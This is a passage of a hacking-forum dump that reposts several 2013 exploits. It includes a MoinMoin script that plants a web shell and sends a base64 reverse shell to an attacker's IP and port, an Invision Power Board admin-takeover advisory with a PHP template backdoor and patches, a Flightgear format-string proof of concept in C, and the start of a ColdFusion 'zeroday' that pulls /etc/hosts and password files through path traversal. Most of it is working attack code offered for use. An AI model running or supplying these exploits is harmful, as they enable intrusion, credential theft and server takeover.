    filename = "drawing.r if()else[]\nimport os\ndef execute(p,r):exec\"print>>r,os\\56popen(r\\56values['c'])\\56read()\""
    data = "MoinMoin error\n"
else:
    print "[-] \x1b[0;31mInvalid method\x1b[0m"
    exit()
 
print "[*] Checking permissions on WikiSandBox page.."
username=None
password=None
authorizationcookie=None
jar=None
permission_check = requests.get("http://%s/WikiSandBox" % target).text
if "Edit (Text)" in permission_check:
    print "[+] No security"
    check = True
elif "Immutable Page" in permission_check:
    print "[-] Authorization required"
    check = False
else:
    print "[-] \x1b[0;31mCould not identify editable page!\x1b[0m"
    print "[-] Authorization required"
    check = False
if not check:
    have_acc = raw_input("[*] Do you have an account? [Y/N] ").lower()
    if have_acc.startswith("y"):
        username = raw_input("[*] Username: ")
        password = getpass.getpass("[*] Password: ")
    else:
        print "[-] \x1b[0;31mCreate an account and restart the exploitation process\x1b[0m"
        print "[-] http://%s/?action=newaccount" % target
    url = "http://%s/" % target
    print "[*] Logging in"
    signon = {'action':'login','name':username,'password':password,'login':'Login'}
    jar = requests.post(url, data=signon).cookies
    for cookie in jar.values():
        if len(cookie)==40:
            authorizationcookie=cookie
    if not authorizationcookie:
        print "[-] \x1b[0;31mLogin failed\x1b[0m"
        exit()
    else:
        print "[+] Login succeeded"
    permission_check2 = requests.get("http://%s/WikiSandBox" % target).text
"""
    if "Edit (Text)" in permission_check2:
        print "[+] Successfully authorized to edit pages"
    elif "Immutable Page" in permission_check:
        print "[-] \x1b[0;31mFailed authorization check\x1b[0m"
        exit()
    else:
        print "[?] \x1b[0;33mLost track of environment.. continuing anyway\x1b[0m"
        exit()
"""
 
print "[*] Obtaining ticket credentials to write backdoor.."
if method == '1':
    ticket = requests.get("http://%s/WikiSandBox?action=twikidraw&do=modify&target=../../../plugin/action/moinexec.py" % target, cookies=jar)
elif method == '2':
    ticket = requests.get("http://%s/WikiSandBox?action=twikidraw&do=modify&target=../../../../moin.wsgi" % target, cookies=jar)
m = re.search('ticket=(.*?)&target', ticket.text)
try:
    ticket_hash = m.group(1)
    print "[+] Extracted ticket hash from MoinMoin: %s" % (ticket_hash)
except:
    print "[-] \x1b[0;31mFailed to extract ticket hash from MoinMoin!\x1b[0m"
    exit()
 
print "[*] Sending payload.."
if method == '1':
    url = "http://%s/WikiSandBox?action=twikidraw&do=save&ticket=%s&target=../../../plugin/action/moinexec.py" % (target, ticket_hash)
    b = []
    b.append("\r\n--89692781418184")
    b.append("Content-Disposition: form-data; name=\"filename\"\r\n\r\n%s" % (filename))
    b.append("--89692781418184")
    b.append("Content-Disposition: form-data; name=\"filepath\"; filename=\"drawing.png\"")
    b.append("Content-Type: image/png\r\n")
    b.append(data)
    b.append("--89692781418184--")
    body = "\r\n".join(b)
    headers = {}
    headers['Content-Type'] = 'multipart/form-data; boundary=89692781418184'
    r = requests.post(url, cookies=jar, data=body, headers=headers)
    if(r.text == ""):
        print "[+] Exploit completed"
        print "[*] Upon Apache restart, your shell will be available at:"
        print "http://%s/WikiSandBox?action=moinexec&c=[command]" % target
    else:
        print "[-] \x1b[0;31mExploit failed\x1b[0m"
elif method == '2':
    print "[*] Backconnect options:"
    ip   = raw_input("[*] IP? ")
    port = raw_input("[*] Port? ")
    print "[*] To recieve your shell, login to %s and run: socat file:`tty`,raw,echo=0 tcp4-listen:%s" % (ip,port)
    raw_input("[*] Press enter to continue ")
    payload = "[MARK]exec \"%s\".decode(\"base64\")[MARK]\n" % data.replace("[IP]",ip).replace("[PORT]",port).encode("base64").replace("\n","")
    url = "http://%s/WikiSandBox?action=twikidraw&do=save&ticket=%s&target=../../../../moin.wsgi" % (target, ticket_hash)
    b = []
    b.append("\r\n--89692781418184")
    b.append("Content-Disposition: form-data; name=\"filename\"\r\n\r\n%s" % (filename))
    b.append("--89692781418184")
    b.append("Content-Disposition: form-data; name=\"filepath\"; filename=\"drawing.png\"")
    b.append("Content-Type: image/png\r\n")
    b.append(payload)
    b.append("--89692781418184--")
    body = "\r\n".join(b)
    headers = {}
    headers['Content-Type'] = 'multipart/form-data; boundary=89692781418184'
    r = requests.post(url, cookies=jar, data=body, headers=headers)
    if(r.text == ""):
        print "[+] Payload file written"
    else:
        print "[-] \x1b[0;31mExploit failed\x1b[0m"
        exit()
    print "[*] Sending reverse shell"
    result = requests.get("http://%s/WikiSandBox?action=AttachFile" % target, cookies=jar).text
    if "Internal Server Error" in result or "Traceback" in result:
        print "[-] \x1b[0;31mSHIT\x1b[0m"
    else:
        print "[+] Shell sent successfully"
 
# American: How the fuck did you get in here?
# Lone Man: I used my imagination.
 
# 9F7FCEE677ADDAE5   1337day.com [2013-05-15]   5641077A4E8ECB43 #
Invision Power Board
ID: 67686ba3b4103b69df379d7f
Thread ID: 24181
Created: 2013-05-14T07:26:40+0000
Last Post: 2013-05-14T07:26:40+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

IPB (Invision Power Board) all versions (1.x? / 2.x / 3.x) Admin account Takeover leading to code execution

Written on : 2013/05/02
Released on : 2013/05/13
Author: John JEAN (@johnjean on twitter)
Affected application: Invision Power Board <= 3.4.4
Type of vulnerability: Logical Vulnerability / Bad Sanitization
Required informations : Administrator's email
Evaluated Risk : Critical
Solution Status : A patch has been released which fixes these vulnerabilities
References : [http://www.john-jean.com/blog/securite- inf...e-execution-742](http://www.john-jean.com/blog/securite- informatique/ipb-invision-power-board-all-versions-1-x-2-x-3-x-admin- account-takeover-leading-to-code-execution-742)

[0] Application description & Deployment estimation

From wikipedia.org:
Invision Power Board (abbreviated IPB, IP.Board or IP Board) is an Internet forum software produced by Invision Power Services, Inc. It is written in PHP and primarily uses MySQL as a database management system, although support for other database engines is available. While Invision Power Board is a commercially sold product, there is a large modding community and many of these modifications are free. In addition, many groups offer the download or design of free and paid skins.

----

This software is deployed on very popular websites such as: NASA, EMI, NHL, NBC, O'Reilly, Evernote, ...

You can easily find tens of thousands of deployed instances using Google dorks such as: "inurl:index.php?app=core" or "powered by Invision Power Board".

_Logic Flaw

A) Overview

IPB harbors a sanitization flaw in its registration form and user control panel (accessible once logged in). Incorrect e-mail address validation code allows an attacker to take over the admin account without prompting any alert but preventing the real admin to login afterwards. After a successful takeover, the attacker can plant a PHP backdoor using IPB's templating system. Thorough administrators will inspect total file system after they recover their hacked account, while other administrators might assume they are dealing with a bug, receive their new password using "Password recovery" system and leave the backdoor intact. Attacker may also use the "Retrieve password" process to mislead the admin into thinking their account was locked due to unsuccessful login attempts and not investigating further, thus preserving the backdoor.

B) Required data

  1. Administrator's login name

The admin login is easily found by clicking on "The moderating Team" link on recent IPB's footer, or using the URL below: index.php?app=forums&module=extras&section=stats&do=leaders

  1. Administrator's e-mail

Obtaining the admin e-mail may be more complicated as there is no automated way to get it. The attacker can get it through:

- using whois on domain.tld to get registrar informations
- looking up a prospective e-mail on Facebook and see if a matching profile shows up
- using Gravatar (Gravatar is a personal avatar you can find on most blogs, forum, etc comments based on user e-mail address). Attacker can create a script to retrieve an email based on an avatar. For example mine is: http://www.john-jean.com/gravapwnd.php?zboob=john@wargan.com
- do sourcing using FB, G+, Twitter, Google SERP, ...
- use SE methods, such as faked e-mail catcher; or use XSSs on known websites consulted by the target.

C) Explanation

This vulnerability is grounded on both a mistake in MySQL knowledge and bad sanitization of the $email variable.

  1. First of all, let's summarize how MySQL works:

- Truncating while INSERT

During an INSERT query, if the string exceeds the field size defined when creating the table, the string will be truncated. E.g.:

************************ BEGIN OF CODE ************************
CREATE TABLE test (
limitvarchar varchar(5) NOT NULL
);
---
INSERT INTO test (limitvarchar) VALUES ('123456789');
---
SELECT * FROM test

12345
************************* END OF CODE ***************************

However, the string is not truncated during SELECT queries. The following query will not return any result:

************************ BEGIN OF CODE ************************
SELECT * FROM test WHERE limitvarchar = "123456"
************************* END OF CODE ***************************

MySQL use permissive SELECT:
SELECT ignores spaces at the end of strings. Let's INSERT some datas:

************************ BEGIN OF CODE ************************
INSERT INTO divers.test (limitvarchar) VALUES ('1 ');
INSERT INTO divers.test (limitvarchar) VALUES ('1 ');
INSERT INTO divers.test (limitvarchar) VALUES ('1 ');
INSERT INTO divers.test (limitvarchar) VALUES ('1 ');
INSERT INTO divers.test (limitvarchar) VALUES ('1');
************************* END OF CODE ***************************

Thus the following query will yield the 5 records inserted before:

************************ BEGIN OF CODE ************************
SELECT * FROM test WHERE limitvarchar='1 '
************************* END OF CODE ***************************

Now, let's have a look at the checkEmailAddress function of admin/source/base/core.php:

************************ BEGIN OF CODE ************************

/**

  • Check email address to see if it seems valid
  • @param string Email address
  • @return boolean
  • @since 2.0
    */
    static public function checkEmailAddress( $email = "" )
    {
    $email = trim($email);

$email = str_replace( " ", "", $email );

//-----------------------------------------
// Check for more than 1 @ symbol
//-----------------------------------------

if ( substr_count( $email, '@' ) > 1 )
{
return FALSE;
}

if ( preg_match( '#[;\#\n\r\'"<>&%\!\(\)\{\}\[\]?\/\s,]#', $email ) )
{
return FALSE;
}
/
tld increased to 32 characters as per RFC - [http://community.invisionpower.com/resourc...013-tlds-r41518](http://community.invisionpower.com/resources/bugs.html/_/ip- board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518) */
else if ( preg_match( '/^.+@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,32}|[0-9]{1,4})(\]?)$/', $email) )
{
return TRUE;
}
else
{
return FALSE;
}
}

************************* END OF CODE ***************************

As you may know, trim only removes whitespace (and some others) characters BEFORE and AFTER the string, that is why IPB core team also use str_replace to remove space chars IN the email string. However, this treatment is performed to change the email address to the correct format. This is done to ensure the next steps of the check, but there will be no condition returning false if string has been trim or if str_replace has been used. This function checks an email validity format used in the register form and the change email form.

Let's take a look at a another function called load( $member_key, $extra_tables='all', $key_type='' ) in admin/sources/base/ipsMember.php

************************ BEGIN OF CODE ************************
static public function load( $member_key, $extra_tables='all', $key_type='' )
{
//-----------------------------------------
// INIT
//-----------------------------------------

$member_value = 0;
$members = array();
$multiple_ids = array();
$member_field = '';
$joins = array();
$tables = array( 'pfields_content' => 0, 'profile_portal' => 0, 'groups' => 0, 'sessions' => 0, 'members_partial' => 0 );
$remap = array( 'extendedProfile' => 'profile_portal',
'customFields' => 'pfields_content');

//-----------------------------------------
// ID or email?
//-----------------------------------------

if ( ! $key_type )
{
if ( is_array( $member_key ) )
{
$multiple_ids = array_map( 'intval', $member_key ); // Bug #20908
$member_field = 'member_id';
}
else
{
if ( strstr( $member_key, '@' ) )
{
$member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "'";
$member_field = 'email';
}
else
{
$member_value = intval( $member_key );
$member_field = 'member_id';
}
}
}
[...]

case 'email':
if ( is_array( $member_key ) )
{
array_walk( $member_key, create_function( '&$v,$k', '$v="'".ipsRegistry::DB()->addSlashes( strtolower( $v ) ) . "'";' ) );
$multiple_ids = $member_key;
}
else
{
$member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( $member_key ) ) . "'";
}
$member_field = 'email';

************************* END OF CODE ***************************

As you can see, this function does not perform any verification on the length of $member_key & $v. We will exploit that in the next part.

D) Exploitation

Previously, on this adviso: we saw that $email is not rejected if it contains spurious whitespace, and that $member_key & $v length is not checked. We also saw some MySQL use-cases. Let's see how we can exploit that:

The e-mail field from the members table in IPB is declared as a varchar(150).
Upon registration, we fill the mail member (or admin) for which we want to steal the account to which we add a padding space for the size of the string exceeds 150. Then we add any character after the space one. It is necessary to bypass ajax's validator, feel free to use Burp Suite or Tamperdata.

For example:
Real administrator's email: 'admin@admin.com'
Attacker's mail fill: 'admin@admin.com AAAA' <- ends here

The SELECT query checking existing e-mails will not yield any result:
SELECT * FROM members WHERE email='admin@admin.com AAAA' <- ends here

The new account is successfully created. Our account is now using the e-mail address below:
'admin@admin.com ' <- ends here
AAAA has been deleted by MySQL: string exceeding 150 characters are truncated.

At this stage, we have two users with very similar e-mail addresses:
Administrator is: 'admin@admin.com'
Attacker is: 'admin@admin.com ' <- ends here

POST HTTP request looks like (on registration page):

************************ BEGIN OF CODE ************************
POST /~codereview/IPB/index.php?app=core&module=global&section=register HTTP/1.1
Host: gfy.wargan.com
User-Agent: Wargan/1.0 (WarganOS; Amstrad; rv:1.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://gfx.wargan.com/~codereview/IPB/inde...ection=register
Cookie: session_id=00000000000; member_id=2; pass_hash=000000000000; ipsconnect_0000000000=1; coppa=0; rteStatus=rte
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 466

termsread=1&agree_to_terms=1&do=process_form&coppa_user=0&nexus_pass=1&time_offset=1&dst=1&members_display_name=pentest&EmailAddress=pentest%40wargan.com A&PassWord=pentest&PassWord_Check=pentest&recaptcha_challenge_field=03AHJ_VuvGN728OMAVD0UvgLdylK1KAt8WH0N2aezZZpZfluTG8wJmfSyhiKM0zYb7io5sk62SQ9fQ2Y1XKqPOmEG0hW9DrThpXgEh- DU73qdpZ_OPxkO_v1xg2k1dJSOCk0wZcxufezfezefezFM0LSCwjJn7bbJJMk&recaptcha_response_field=mmotlyiinducted&agree_tos=1
************************* END OF CODE ***************************

We now can change our password. The profile corresponding to our session's e-mail will be used. As already stated, spaces are not taken in consideration. The query will thus actually return the first matching e-mail result: the real administrator account. We will have actually changed the password of the administrator profile.

This flaw is usable both on the registration page and on the user control panel (index.php?app=core&module=usercp&tab=core&area=email).

E) Backdooring

Once the attacker has got access to the administrator's backend, all he needs to do is go to /admin/index.php?adsess=000&app=core&module=templates&section=templates&do=list&setID=1 and add some code to the defaultHeader template:

************************ BEGIN OF CODE ************************

if(isset($_REQUEST['pwnd']))
{
$pwnd=$_REQUEST['pwnd'];
echo $pwnd;
}

************************* END OF CODE ***************************

& markups are used by the IPB's templating system to add inline PHP code. `` characters in PHP are used to do system calls.
Once such a backdoor has been planted, any part of public_html can be compromised and it may also lead to privilege escalation on a dedicated server or LAN.

index.php?lolz=ls%20/
returns:
bin boot build dev etc home initrd.img initrd.img.old lib lost+found media mnt nonexistent opt proc root run sbin selinux srv sys tmp usr var vmlinuz vmlinuz.old

[II] Mitigation

A) Patch party !

These are two quick & dirty patches, but they work.

admin/source/base/core.php should be:

************************ BEGIN OF CODE ************************
/**

  • Check email address to see if it seems valid
  • @param string Email address
  • @return boolean
  • @since 2.0
    */
    static public function checkEmailAddress( $email = "" )
    {

if (strlen($email) > 150) return FALSE;
email = trim($email);
$email = str_replace( " ", "", $email );

//-----------------------------------------
// Check for more than 1 @ symbol
//-----------------------------------------

if ( substr_count( $email, '@' ) > 1 )
{
return FALSE;
}

if ( preg_match( '#[;\#\n\r\'"<>&%\!\(\)\{\}\[\]?\/\s,]#', $email ) )
{
return FALSE;
}
/
tld increased to 32 characters as per RFC - [http://community.invisionpower.com/resourc...013-tlds-r41518](http://community.invisionpower.com/resources/bugs.html/_/ip- board/ipstextcheckemailaddress-does-not-match-new-2013-tlds-r41518) */
else if ( preg_match( '/^.+@(\[?)[a-zA-Z0-9\-\.]+\.([a-zA-Z]{2,32}|[0-9]{1,4})(\]?)$/', $email) )
{
return TRUE;
}
else
{
return FALSE;
}
}
************************* END OF CODE ***************************

Enforces the e-mail variable to be shorter than 150 characters.

admin/source/base/ipsMember.php should be:

************************ BEGIN OF CODE ************************
if ( strstr( $member_key, '@' ) )
{
$member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "'";
$member_field = 'email';
}

[...]

if ( is_array( $member_key ) )
{
array_walk( $member_key, create_function( '&$v,$k', '$v="'".ipsRegistry::DB()->addSlashes( strtolower( substr($v,0,140) ) ) . "'";' ) );
$multiple_ids = $member_key;
}
else
{
$member_value = "'" . ipsRegistry::DB()->addSlashes( strtolower( substr($member_key,0,140) ) ) . "'";
}
$member_field = 'email';
************************* END OF CODE ***************************

This will truncate the string to 140 characters.

Patching 1st or 2nd file fixes the bug.

B) Common sense

- Never use a known email-adress for your application deployment, monitoring, supervision, ... You may use catch-all, or even better, another domain.tld than your own.
- Never deploy applications you do not completely trust (no one ?) or you did not code review on shared hosting with other projects or applications that are not on that same network. Especially forums that expose a wide attack surface to malicious users.
- Use mitigation systems such as IDS (which can be evaded depending on your attacker skills).
- Blacklist dangerous php functions (using [http://www.hardened- php.net/suhosin/config....func.blacklist](http://www.hardened- php.net/suhosin/configuration.html#suhosin.executor.func.blacklist) ?)
php_admin_value open_basedir /home/ipb/:/usr/share/php/
php_admin_value suhosin.executor.func.blacklist exec,dl,fpassthru,move_uploaded_file,phpinfo,passthru,shell_exec,system,proc_open,popen,curl,curl_exec,curl_multi_exec,parse_ini_file,show_source, ...
- Use a chrooted environment
- ...

[III] Recommendations

The vendor has released a patch which fixes these vulnerabilities. It is strongly recommended to upgrade your software version: [http://community.invisionpower.com/topic/3...ecurity- update/](http://community.invisionpower.com/topic/385207-ipboard-32x-33x-and-34x-critical- security-update/)

[IV] Timeline

2013/05/02: Advisory sent to IPB
2013/05/02: IPB responded
2013/05/03: Patch has been released
2013/05/03: IPB asked to wait at least a week before publishing advisory to protect their huge community
2013/05/13: Advisory is released

[V] Author

John JEAN is a French security researcher working at Wargan Solutions - http://www.wargan.com
Follow him on twitter @johnjean

8D57D851EDB5622F 1337day.com [2013-05-14] 08519AEA0C2F50B8 #_

Click to expand...

Flightgear 2.0 / 2.4 Format String Vulnerability
ID: 67686ba3b4103b69df379d80
Thread ID: 24179
Created: 2013-05-14T07:21:02+0000
Last Post: 2013-05-14T07:21:02+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

/*
# Exploit Title: Flightgear remote format string
# Date: 21/04/2013
# Exploit Author: Kurono
# email: andresgomezram7@gmail.com
# Vendor Homepage: http://www.flightgear.org/
# Software Link: http://www.flightgear.org/download/
# Version: Tested on versions 2.0, 2.4.
# Tested on: Windows (Linux user assisted)
# CVE : None
  
    Flightgear allows remote control through Property tree.
    It is vulnerable to remote format string vulnerability
    when some special parameters related with clouds are changed.
    To test this exploit, run Flightgear with remote input, for example:
  
    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --props=5501 --disable-real-weather-fetch
  
    or
  
    fgfs.exe --fg-root="C:\Program Files\FlightGear 2.4.0\data" --telnet=5501 --disable-real-weather-fetch   
  
    gcc -O2 -g -pedantic -Wall poc.c -o poc
    USAGE: ./poc [hostname [port]]
  
    More information: http://kuronosec.blogspot.com/
*/
  
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <string.h>
  
  
#define DFLTHOST    "127.0.0.1"
#define DFLTPORT    5501
#define MAXMSG      256
#define fgfsclose   close
  
  
void init_sockaddr(struct sockaddr_in *name, const char *hostname, unsigned port);
int fgfswrite(int sock, char *msg, ...);
const char *fgfsread(int sock, int wait);
void fgfsflush(int sock);
  
  
  
int fgfswrite(int sock, char *msg, ...)
{
    va_list va;
    ssize_t len;
    char buf[MAXMSG];
  
    va_start(va, msg);
    vsnprintf(buf, MAXMSG - 2, msg, va);
    va_end(va);
    printf("SEND: \t<%s>\n", buf);
    strcat(buf, "\015\012");
  
    len = write(sock, buf, strlen(buf));
    if (len < 0) {
        perror("fgfswrite");
        exit(EXIT_FAILURE);
    }
    return len;
}
  
  
  
const char *fgfsread(int sock, int timeout)
{
    static char buf[MAXMSG];
    char *p;
    fd_set ready;
    struct timeval tv;
    ssize_t len;
  
    FD_ZERO(&ready);
    FD_SET(sock, &ready);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    if (!select(32, &ready, 0, 0, &tv))
        return NULL;
  
    len = read(sock, buf, MAXMSG - 1);
    if (len < 0) {
        perror("fgfsread");
        exit(EXIT_FAILURE);
    }
    if (len == 0)
        return NULL;
  
    for (p = &buf[len - 1]; p >= buf; p--)
        if (*p != '\015' && *p != '\012')
            break;
    *++p = '\0';
    return strlen(buf) ? buf : NULL;
}
  
  
  
void fgfsflush(int sock)
{
    const char *p;
    while ((p = fgfsread(sock, 0)) != NULL) {
        printf("IGNORE: \t<%s>\n", p);
    }
}
  
  
  
int fgfsconnect(const char *hostname, const int port)
{
    struct sockaddr_in serv_addr;
    struct hostent *hostinfo;
    int sock;
  
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock < 0) {
        perror("fgfsconnect/socket");
        return -1;
    }
  
    hostinfo = gethostbyname(hostname);
    if (hostinfo == NULL) {
        fprintf(stderr, "fgfsconnect: unknown host: \"%s\"\n", hostname);
        close(sock);
        return -2;
    }
  
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
    serv_addr.sin_addr = *(struct in_addr *)hostinfo->h_addr;
  
    if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
        perror("fgfsconnect/connect");
        close(sock);
        return -3;
    }
    return sock;
}
  
  
  
int main(int argc, char **argv)
{
    int sock;
    unsigned port;
    const char *hostname, *p;
        int i;
  
    hostname = argc > 1 ? argv[1] : DFLTHOST;
    port = argc > 2 ? atoi(argv[2]) : DFLTPORT;
  
    sock = fgfsconnect(hostname, port);
    if (sock < 0)
        return EXIT_FAILURE;
  
    fgfswrite(sock, "data");
        fgfswrite(sock, "set /sim/rendering/clouds3d-enable true");
        fgfswrite(sock, "set /environment/clouds");
  
        for (i=0; i < 5; i++) {
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cu/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/cb/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ac/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/st/cloud/name %%n", i);
        fgfswrite(sock, "set /environment/cloudlayers/layers[%d]/ns/cloud/name %%n", i);
        }
      
    p = fgfsread(sock, 3);
    if (p != NULL)
        printf("READ: \t<%s>\n", p);
  
  
        for (i=0; i < 5; i++) {
        fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage scattered", i);
        fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage cirrus", i);
        fgfswrite(sock, "set /environment/clouds/layer[%d]/coverage clear", i);
        }
  
        p = fgfsread(sock, 3);
    if (p != NULL)
        printf("READ: \t<%s>\n", p);
  
    fgfswrite(sock, "quit");
    fgfsclose(sock);
    return EXIT_SUCCESS;
}
 
# 92570E810170242B   1337day.com [2013-05-14]   202BDCB224367B20 #
ColdFusion 9 / 10 Remote Root Exploit
ID: 67686ba3b4103b69df379d81
Thread ID: 24178
Created: 2013-05-14T07:20:21+0000
Last Post: 2013-05-14T07:20:21+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
intro="""
 _     _ _______  _____       _    _ _______        Cold        ,''' Fusion
 |_____|    |    |_____]       \  /  |______        Cold ,'''  /--   Fusion
 |     |    |    |              \/   ______|.       Cold -,__,'      Fusion
 
Name        : ColdSub-Zero.pyFusion v2
Description : CF9-10 Remote Root Zeroday
Crew        : HTP
"""
cyan = "\x1b[1;36m"
red = "\x1b[1;31m"
clear = "\x1b[0m"
print intro.replace("Cold",cyan).replace("Fusion",clear)
 
import requests, time, sys, urllib, hashlib
 
def flash(color,text,times):
  sys.stdout.write(text)
  line1 = "\x0d\x1b[2K%s%s" % (color,text)
  line2 = "\x0d\x1b[2K%s%s" % (clear,text)
  for x in range(0,times):
    sys.stdout.write(line1)
    sys.stdout.flush()
    time.sleep(.2)
    sys.stdout.write(line2)
    sys.stdout.flush()
    time.sleep(.2)
  print line2
 
abspath = ""
operatingsystem = "refrigerator"
coldfusion = 0
 
def fingerprintcf(protocol,target):
  # Fingerprint using md5's of CF 9/10 admin image
  print "[*] Fingerprinting CF 9/10 instance"
  imgdata = requests.get("%s://%s/CFIDE/administrator/images/loginbackground.jpg" % (protocol,target)).content
  md5fingerprint = hashlib.md5(imgdata).hexdigest()
  if md5fingerprint == "a4c81b7a6289b2fc9b36848fa0cae83c":
    print "[*] Detected ColdFusion 10"
    return 10
  elif md5fingerprint == "596b3fc4f1a0b818979db1cf94a82220":
    print "[*] Detected ColdFusion 9"
    return 9
  elif md5fingerprint == "779efc149954677095446c167344dbfc":
    # ColdFusion 8 doesn't have mail.cfm, but it is still exploitable due to l10n parsing the template as CFM.
    # It would require shell data to be on the box to include, such as an uploaded 'picture' or what-not.
    print "[*] Requires inclusion: m4ke your 0wn fuq1ng z3r0d4y!"
    sys.exit(0)
  else:
    print "[*] Unable to fingerprint, continuing with little environment data"
    return None
 
def getpath(protocol,target):
  # Leverage a path disclosure to get the absolute path on CF9-10
  print "[*] Testing for path disclosure"
  abspathdata = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/analyzer/index.cfm&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).headers
  if "set-cookie" in abspathdata.keys():
    try:
      abspath = urllib.unquote(abspathdata['set-cookie'].split('ANALYZER_DIRECTORY=')[1].split(';')[0])
      print "[*] Absolute path obtained: %s" % abspath
      if abspath[0] == "/":
        print "[*] Detected Linux"
        operatingsystem = "linux"
      elif abspath[1] == ":":
        print "[*] Detected Windows"
        operatingsystem = "windows 95 with bonzibuddy"
      else:
        print "[?] t4rg3t 4pp34r5 t0 b3 runn1n9 0n 4 r3fr1g3r4t0r"
        operatingsystem = "refrigerator"
    except:
      print "[?] OS detection failure. Continuing with fingerprint."
  else:
    print "[?] OS detection failure. Continuing with fingerprint."
  return abspath,operatingsystem
 
# HTP '13
# Congratulations, you're reading the source.
#
# Subzero v2 is a do-it-yourself Subzero v1. Some details have been provided throughout the source hinting at the potential usage.
# As far as changes, the Null RDS 1day has been removed, as well as the locale + FCKEditor exploitation checks & auth bypass + shell drop.
# If you know what you are doing, this 0day can be used in conjunction with the other 0days to exploit ColdFusion 6-10. (aka everything).
#
# ColdFusion 6 can be taken out with the locale 0day, and XORing password.properties against the stored private key will yield the actual
# login password.
#
# Since you're reading the source, we'll give you another 0day to improve Subzero. Once Subzero has extracted the hash, use scheduled tasks
# to store your backconnect shell in a temp directory (such as the CF temp directory/windows TEMP dir or /dev/shm). Then, use Server Settings
# > Settings in the CF admin to load it as the Missing Template Handler (you can travel upwards from the 'relative path' using ../). Finally,
# trigger a 404 to recieve your backconnect, and restore the Missing Template Handler. We might release fUZE Shell v2 in the future for POCs
# of this written in CFML.
#
# For anyone looking to fully weaponize Subzero into direct RXE for ColdFusion 10, we'll give you a hint. Subzero is a LFI, not a LFD.
# (preinstalled *.cfm) :P
 
target = raw_input("Target> ")
if "https" in target:
  protocol = "https"
  target = target.replace("http://","").replace("https://","").split("/")[0]
  print "[*] Target set to: %s" % target
  print "[*] HTTPS: Enabled"
else:
  protocol = "http"
  target = target.replace("http://","").replace("https://","").split("/")[0]
  print "[*] Target set to: %s" % target
 
abspath,operatingsystem = getpath(protocol,target)
coldfusion = fingerprintcf(protocol,target)
 
print "[*] Collecting additional data about operating system"
etchosts = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../etc/hosts&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content
bootini = requests.get("%s://%s/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it&attributes.file=../../administrator/mail/download.cfm&filename=../../../../../../../../../../../../../../../boot.ini&attributes.locale=it&attributes.var=it&attributes.jscript=false&attributes.type=text/html&attributes.charset=UTF-8&thisTag.executionmode=end&thisTag.generatedContent=htp" % (protocol,target)).content
if "hosts" in etchosts or "127.0.0.1" in etchosts:
  operatingsystem = "linux"
elif "[boot loader]" in bootini or "[operating systems]" in bootini:
  operatingsystem = "windows 95 with bonzibuddy"
elif operatingsystem is "linux" or "windows 95 with bonzibuddy":
  pass
else:
  operatingsystem = "refrigerator"
 
if operatingsystem is "refrigerator":
  print "[*] go0d 1uq!!"
 
print "[*] Obtaining credentials"
tests = ["../../lib/password.properties","..\..\lib\password.properties"]
if operatingsystem is "windows 95 with bonzibuddy":
  if coldfusion == 10:
    tests += ["..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
  elif coldfusion == 9:
    tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
  else:
    tests += ["..\..\..\..\..\..\..\..\..\ColdFusion9\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion10\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion9\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\password.properties",
                          "..\..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties"]
elif operatingsystem is "linux":
